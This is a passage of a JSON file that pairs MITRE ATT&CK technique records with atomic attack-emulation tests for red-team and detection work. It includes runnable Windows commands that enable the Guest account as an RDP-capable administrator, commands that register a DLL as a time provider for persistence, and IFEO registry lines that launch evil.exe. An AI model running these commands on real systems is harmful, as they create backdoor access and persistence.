- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "User Account: User Account Authentication",
- "Logon Session: Logon Session Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "identifier": "T1078.001"
- },
- "atomic_tests": [
- {
- "name": "Enable Guest account with RDP capability and admin privileges",
- "auto_generated_guid": "99747561-ed8d-47f2-9c91-1e5fde1ed6e0",
- "description": "After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group,\nand desktop will allow multiple RDP connections.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "guest_user": {
- "description": "Specify the guest account",
- "type": "string",
- "default": "guest"
- },
- "guest_password": {
- "description": "Specify the guest password",
- "type": "string",
- "default": "Password123!"
- },
- "local_admin_group": {
- "description": "Specify the admin localgroup name",
- "type": "string",
- "default": "Administrators"
- },
- "remote_desktop_users_group_name": {
- "description": "Specify the remote desktop users group name",
- "type": "string",
- "default": "Remote Desktop Users"
- },
- "remove_rdp_access_during_cleanup": {
- "description": "Set to 1 if you want the cleanup to remove RDP access to machine",
- "type": "integer",
- "default": 0
- }
- },
- "executor": {
- "command": "net user #{guest_user} /active:yes\nnet user #{guest_user} #{guest_password}\nnet localgroup #{local_admin_group} #{guest_user} /add\nnet localgroup \"#{remote_desktop_users_group_name}\" #{guest_user} /add\nreg add \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f\nreg add \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v \"AllowTSConnections\" /t REG_DWORD /d 0x1 /f",
- "cleanup_command": "net user #{guest_user} /active:no >nul 2>&1\nnet localgroup #{local_admin_group} #{guest_user} /delete >nul 2>&1\nnet localgroup \"#{remote_desktop_users_group_name}\" #{guest_user} /delete >nul 2>&1\nif #{remove_rdp_access_during_cleanup} NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argument to disable RDP access during cleanup)\nif #{remove_rdp_access_during_cleanup} EQU 1 (reg delete \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /f >nul 2>&1)\nif #{remove_rdp_access_during_cleanup} EQU 1 (reg delete \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v \"AllowTSConnections\" /f >nul 2>&1)",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Activate Guest Account",
- "auto_generated_guid": "aa6cb8c4-b582-4f8e-b677-37733914abda",
- "description": "The Adversaries can activate the default Guest user. The guest account is inactivated by default\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "guest_user": {
- "description": "Specify the guest account",
- "type": "string",
- "default": "guest"
- }
- },
- "executor": {
- "command": "net user #{guest_user} /active:yes\n",
- "cleanup_command": "net user #{guest_user} /active:no\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1547.003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Scott Lundgren, @5twenty9, Carbon Black"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc",
- "created": "2020-01-24T15:51:52.317Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.003",
- "url": "https://attack.mitre.org/techniques/T1547/003"
- },
- {
- "source_name": "Github W32Time Oct 2017",
- "url": "https://github.com/scottlundgren/w32time",
- "description": "Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018."
- },
- {
- "source_name": "Microsoft W32Time May 2017",
- "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings",
- "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018."
- },
- {
- "source_name": "Microsoft W32Time Feb 2018",
- "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top",
- "description": "Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018."
- },
- {
- "source_name": "Microsoft TimeProvider",
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx",
- "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018."
- },
- {
- "source_name": "TechNet Autoruns",
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\
.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)",
- "modified": "2022-04-20T16:31:16.715Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Time Providers",
- "x_mitre_detection": "Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx
and RegSetValueEx
as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Module: Module Load",
- "Command: Command Execution",
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Modification"
- ],
- "x_mitre_permissions_required": [
- "SYSTEM",
- "Administrator"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1547.003"
- },
- "atomic_tests": [
- {
- "name": "Create a new time provider",
- "auto_generated_guid": "df1efab7-bc6d-4b88-8be9-91f55ae017aa",
- "description": "Establishes persistence by creating a new time provider registry key under HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProvider.\nThe new time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt\nin C:\\Users\\Public\\ as validation that the test is successful.\n\nPayload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "net stop w32time\nCopy-Item $PathToAtomicsFolder\\T1547.003\\bin\\AtomicTest.dll C:\\Users\\Public\\AtomicTest.dll\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_SZ /v \"DllName\" /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_DWORD /v \"Enabled\" /d \"1\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_DWORD /v \"InputProvider\" /d \"1\" /f\nnet start w32time\n",
- "cleanup_command": "net stop w32time\nreg delete \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /f\nrm -force C:\\Users\\Public\\AtomicTest.dll\nnet start w32time\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Edit an existing time provider",
- "auto_generated_guid": "29e0afca-8d1d-471a-8d34-25512fc48315",
- "description": "Establishes persistence by editing the NtpServer time provider registry key under HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProvider.\nThe time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt\nin C:\\Users\\Public\\ as validation that the test is successful.\n\nPayload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "net stop w32time\nCopy-Item $PathToAtomicsFolder\\T1547.003\\bin\\AtomicTest.dll C:\\Users\\Public\\AtomicTest.dll\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_SZ /v \"DllName\" /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"Enabled\" /d \"1\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"InputProvider\" /d \"1\" /f\nnet start w32time\n",
- "cleanup_command": "net stop w32time\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_SZ /v \"DllName\" /d \"C:\\Windows\\SYSTEM32\\w32time.DLL\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"Enabled\" /d \"0\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"InputProvider\" /d \"0\" /f\nrm -force C:\\Users\\Public\\AtomicTest.dll\nnet start w32time\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1183": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Oddvar Moe, @oddvarmoe"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--62166220-e498-410f-a90a-19d4339d4e99",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1183",
- "url": "https://attack.mitre.org/techniques/T1183"
- },
- {
- "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/",
- "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.",
- "source_name": "Microsoft Dev Blog IFEO Mar 2010"
- },
- {
- "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview",
- "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.",
- "source_name": "Microsoft GFlags Mar 2017"
- },
- {
- "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit",
- "description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.",
- "source_name": "Microsoft Silent Process Exit NOV 2017"
- },
- {
- "url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/",
- "description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.",
- "source_name": "Oddvar Moe IFEO APR 2018"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml",
- "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.",
- "source_name": "FSecure Hupigon"
- },
- {
- "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2",
- "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.",
- "source_name": "Symantec Ushedix June 2008"
- }
- ],
- "modified": "2020-11-10T18:29:30.417Z",
- "name": "Image File Execution Options Injection",
- "description": "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., \u201cC:\\dbg\\ntsd.exe -g notepad.exe\u201d). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger
values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\
where
is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\
. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nAn example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512
\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1
\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\temp\\evil.exe\"
\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS
and DEBUG_ONLY_THIS_PROCESS
. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Autoruns Analysis"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1546.005": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--63220765-d418-44de-8fae-694b3912317d",
- "type": "attack-pattern",
- "created": "2020-01-24T14:17:43.906Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.005",
- "url": "https://attack.mitre.org/techniques/T1546/005"
- },
- {
- "source_name": "Trap Manual",
- "url": "https://ss64.com/bash/trap.html",
- "description": "ss64. (n.d.). trap. Retrieved May 21, 2019."
- },
- {
- "source_name": "Cyberciti Trap Statements",
- "url": "https://bash.cyberciti.biz/guide/Trap_statement",
- "description": "Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019."
- }
- ],
- "modified": "2020-03-24T16:43:02.273Z",
- "name": "Event Triggered Execution: Trap",
- "description": "Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap
command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c
and ctrl+d
.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals
where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Creation",
- "File: File Modification",
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "identifier": "T1546.005"
- },
- "atomic_tests": []
- },
- "T1574.006": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825",
- "type": "attack-pattern",
- "created": "2020-03-13T20:09:59.569Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.006",
- "url": "https://attack.mitre.org/techniques/T1574/006"
- },
- {
- "external_id": "CAPEC-13",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/13.html"
- },
- {
- "external_id": "CAPEC-640",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/640.html"
- },
- {
- "source_name": "Man LD.SO",
- "url": "https://www.man7.org/linux/man-pages/man8/ld.so.8.html",
- "description": "Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020."
- },
- {
- "source_name": "TLDP Shared Libraries",
- "url": "https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html",
- "description": "The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020."
- },
- {
- "source_name": "Apple Doco Archive Dynamic Libraries",
- "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html",
- "description": "Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021."
- },
- {
- "source_name": "Baeldung LD_PRELOAD",
- "url": "https://www.baeldung.com/linux/ld_preload-trick-what-is",
- "description": "baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021."
- },
- {
- "source_name": "Code Injection on Linux and macOS",
- "url": "https://www.datawire.io/code-injection-on-linux-and-macos/",
- "description": "Itamar Turner-Trauring. (2017, April 18). \u201cThis will only hurt for a moment\u201d: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017."
- },
- {
- "url": "http://hick.org/code/skape/papers/needle.txt",
- "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.",
- "source_name": "Uninformed Needle"
- },
- {
- "url": "http://phrack.org/issues/51/8.html",
- "description": "halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.",
- "source_name": "Phrack halfdead 1997"
- },
- {
- "source_name": "Brown Exploiting Linkers",
- "url": "http://www.nth-dimension.org.uk/pub/BTL.pdf",
- "description": "Tim Brown. (2011, June 29). Breaking the links: Exploiting the linker. Retrieved March 29, 2021."
- },
- {
- "source_name": "TheEvilBit DYLD_INSERT_LIBRARIES",
- "url": "https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/",
- "description": "Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020."
- },
- {
- "source_name": "Timac DYLD_INSERT_LIBRARIES",
- "url": "https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/",
- "description": "Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020."
- },
- {
- "source_name": "Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass",
- "url": "https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191",
- "description": "Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021."
- }
- ],
- "modified": "2021-04-27T19:55:18.453Z",
- "name": "Hijack Execution Flow: LD_PRELOAD",
- "description": "Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD
on Linux or DYLD_INSERT_LIBRARIES
on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export
command, setenv
function, or putenv
function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python\u2019s os.environ
.\n\nOn Linux, adversaries may set LD_PRELOAD
to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD
can be set via the environment variable or /etc/ld.so.preload
file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD
are loaded and mapped into memory by dlopen()
and mmap()
respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES
environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD
and DYLD_INSERT_LIBRARIES
, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "File: File Modification",
- "Module: Module Load",
- "File: File Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1574.006"
- },
- "atomic_tests": []
- },
- "T1053.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e",
- "created": "2019-12-03T12:59:36.749Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053.001",
- "url": "https://attack.mitre.org/techniques/T1053/001"
- },
- {
- "source_name": "rowland linux at 2019",
- "url": "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/",
- "description": "Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021."
- },
- {
- "source_name": "GTFObins at",
- "url": "https://gtfobins.github.io/gtfobins/at/",
- "description": "Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021."
- },
- {
- "source_name": "Kifarunix - Task Scheduling in Linux",
- "url": "https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/",
- "description": "Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": true,
- "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\n\nAdversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo
.(Citation: GTFObins at)",
- "modified": "2022-04-16T20:45:01.814Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "At (Linux)",
- "x_mitre_detection": "Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq
command and ensure IP addresses stored in the SSH_CONNECTION
and SSH_CLIENT
variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/
.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "Scheduled Job: Scheduled Job Creation"
- ],
- "x_mitre_remote_support": true,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1179": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "url": "https://attack.mitre.org/techniques/T1179",
- "external_id": "T1179",
